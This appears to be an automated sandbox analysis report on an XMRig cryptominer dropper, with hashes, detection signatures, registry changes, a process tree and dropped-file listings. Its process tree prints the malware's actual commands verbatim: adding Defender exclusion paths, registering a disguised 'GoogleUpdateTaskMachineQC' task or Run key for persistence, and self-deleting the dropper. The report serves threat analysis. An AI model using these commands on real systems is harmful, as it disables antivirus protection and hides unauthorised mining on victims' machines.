xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1803s
max time network
1813s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 4776 created 3552	4776	Y2JYGshMHJGuGREA.exe	59
PID 4776 created 3552	4776	Y2JYGshMHJGuGREA.exe	59
PID 4776 created 3552	4776	Y2JYGshMHJGuGREA.exe	59
PID 4776 created 3552	4776	Y2JYGshMHJGuGREA.exe	59
PID 1400 created 3552	1400	updater.exe	59
PID 1400 created 3552	1400	updater.exe	59
PID 1400 created 3552	1400	updater.exe	59
PID 2060 created 3552	2060	conhost.exe	59
PID 1400 created 3552	1400	updater.exe	59
PID 1400 created 3552	1400	updater.exe	59

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral30/memory/2876-128-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-132-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-133-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-135-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-139-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-141-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-143-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-145-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-147-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-149-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-151-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-153-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-155-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-157-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-159-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-161-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-163-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-165-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-167-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-169-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-171-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-173-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-175-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-177-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-179-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-181-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-183-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-185-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-187-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig
behavioral30/memory/2876-189-0x00007FF670350000-0x00007FF670B44000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
1400	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral30/memory/2876-120-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-128-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-132-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-133-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-135-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-139-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-141-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-143-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-145-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-147-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-149-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-151-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-153-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-155-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-157-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-159-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-161-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-163-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-165-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-167-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-169-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-171-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-173-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-175-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-177-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-179-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-181-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-183-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-185-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-187-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx
behavioral30/memory/2876-189-0x00007FF670350000-0x00007FF670B44000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1400 set thread context of 2060	1400	updater.exe	114
PID 1400 set thread context of 2876	1400	updater.exe	118

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Y2JYGshMHJGuGREA.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3368	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
4776	Y2JYGshMHJGuGREA.exe
4776	Y2JYGshMHJGuGREA.exe
4016	powershell.exe
4016	powershell.exe
4776	Y2JYGshMHJGuGREA.exe
4776	Y2JYGshMHJGuGREA.exe
3760	powershell.exe
3760	powershell.exe
4776	Y2JYGshMHJGuGREA.exe
4776	Y2JYGshMHJGuGREA.exe
4776	Y2JYGshMHJGuGREA.exe
4776	Y2JYGshMHJGuGREA.exe
2560	powershell.exe
2560	powershell.exe
1400	updater.exe
1400	updater.exe
4584	powershell.exe
4584	powershell.exe
1400	updater.exe
1400	updater.exe
3476	powershell.exe
3476	powershell.exe
1400	updater.exe
1400	updater.exe
2060	conhost.exe
2060	conhost.exe
1400	updater.exe
1400	updater.exe
1400	updater.exe
1400	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4016	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeIncreaseQuotaPrivilege	3760	powershell.exe
Token: SeSecurityPrivilege	3760	powershell.exe
Token: SeTakeOwnershipPrivilege	3760	powershell.exe
Token: SeLoadDriverPrivilege	3760	powershell.exe
Token: SeSystemProfilePrivilege	3760	powershell.exe
Token: SeSystemtimePrivilege	3760	powershell.exe
Token: SeProfSingleProcessPrivilege	3760	powershell.exe
Token: SeIncBasePriorityPrivilege	3760	powershell.exe
Token: SeCreatePagefilePrivilege	3760	powershell.exe
Token: SeBackupPrivilege	3760	powershell.exe
Token: SeRestorePrivilege	3760	powershell.exe
Token: SeShutdownPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeSystemEnvironmentPrivilege	3760	powershell.exe
Token: SeRemoteShutdownPrivilege	3760	powershell.exe
Token: SeUndockPrivilege	3760	powershell.exe
Token: SeManageVolumePrivilege	3760	powershell.exe
Token: 33	3760	powershell.exe
Token: 34	3760	powershell.exe
Token: 35	3760	powershell.exe
Token: 36	3760	powershell.exe
Token: SeIncreaseQuotaPrivilege	3760	powershell.exe
Token: SeSecurityPrivilege	3760	powershell.exe
Token: SeTakeOwnershipPrivilege	3760	powershell.exe
Token: SeLoadDriverPrivilege	3760	powershell.exe
Token: SeSystemProfilePrivilege	3760	powershell.exe
Token: SeSystemtimePrivilege	3760	powershell.exe
Token: SeProfSingleProcessPrivilege	3760	powershell.exe
Token: SeIncBasePriorityPrivilege	3760	powershell.exe
Token: SeCreatePagefilePrivilege	3760	powershell.exe
Token: SeBackupPrivilege	3760	powershell.exe
Token: SeRestorePrivilege	3760	powershell.exe
Token: SeShutdownPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeSystemEnvironmentPrivilege	3760	powershell.exe
Token: SeRemoteShutdownPrivilege	3760	powershell.exe
Token: SeUndockPrivilege	3760	powershell.exe
Token: SeManageVolumePrivilege	3760	powershell.exe
Token: 33	3760	powershell.exe
Token: 34	3760	powershell.exe
Token: 35	3760	powershell.exe
Token: 36	3760	powershell.exe
Token: SeIncreaseQuotaPrivilege	3760	powershell.exe
Token: SeSecurityPrivilege	3760	powershell.exe
Token: SeTakeOwnershipPrivilege	3760	powershell.exe
Token: SeLoadDriverPrivilege	3760	powershell.exe
Token: SeSystemProfilePrivilege	3760	powershell.exe
Token: SeSystemtimePrivilege	3760	powershell.exe
Token: SeProfSingleProcessPrivilege	3760	powershell.exe
Token: SeIncBasePriorityPrivilege	3760	powershell.exe
Token: SeCreatePagefilePrivilege	3760	powershell.exe
Token: SeBackupPrivilege	3760	powershell.exe
Token: SeRestorePrivilege	3760	powershell.exe
Token: SeShutdownPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeSystemEnvironmentPrivilege	3760	powershell.exe
Token: SeRemoteShutdownPrivilege	3760	powershell.exe
Token: SeUndockPrivilege	3760	powershell.exe
Token: SeManageVolumePrivilege	3760	powershell.exe
Token: 33	3760	powershell.exe
Token: 34	3760	powershell.exe
Token: 35	3760	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3480 wrote to memory of 1844	3480	cmd.exe	104
PID 3480 wrote to memory of 1844	3480	cmd.exe	104
PID 2560 wrote to memory of 4988	2560	powershell.exe	105
PID 2560 wrote to memory of 4988	2560	powershell.exe	105
PID 1400 wrote to memory of 2060	1400	updater.exe	114
PID 2104 wrote to memory of 3368	2104	cmd.exe	116
PID 2104 wrote to memory of 3368	2104	cmd.exe	116
PID 1400 wrote to memory of 2876	1400	updater.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3552
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3760
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:4988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3476
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:3368
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2060
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2788
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:2876

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
1.9MB

MD5
ee1ea062fbee08b4d4aa08e49b21eb95

SHA1
c5e06bfde1a867d92fd69c46757694fe02d866c1

SHA256
958d67984728731a13e62a013de48e583478f946db34c535f8986612dcd8e289

SHA512
7f07868e323c341d1d953405ec06f35264a27c649983991afd653895e712347c0a81614e6d2b75d407ae323eadd84d866f5339655dd358954b48169d7e665c66

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
